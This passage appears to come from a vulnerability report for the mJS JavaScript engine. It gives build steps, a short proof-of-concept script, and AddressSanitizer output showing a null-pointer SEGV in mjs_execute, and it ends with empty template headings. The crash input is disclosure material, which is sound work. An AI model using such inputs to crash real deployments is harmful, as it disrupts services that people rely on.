vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js
```javascript
(-0 - Object.create)(
'}\
'
);
```
Execution steps & Output
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==113116==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x56110f9ff243 bp 0x000000000035 sp 0x7ffc5e084190 T0)
==113116==The signal is caused by a READ memory access.
==113116==Hint: address points to the zero page.
#0 0x56110f9ff242 in mjs_execute src/mjs_exec.c:853
#1 0x56110fa08a05 in mjs_exec_internal src/mjs_exec.c:1073
#2 0x56110fa08a05 in mjs_exec_file src/mjs_exec.c:1096
#3 0x56110f9c5909 in main src/mjs_main.c:47
#4 0x7f28d4518b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#5 0x56110f9c6449 in _start (/usr/local/bin/mjs+0xe449)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_exec.c:853 in mjs_execute
==113116==ABORTING
mJS revision
Commit: b1b6eac
Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
Build steps
Test case
poc.js
Execution steps & Output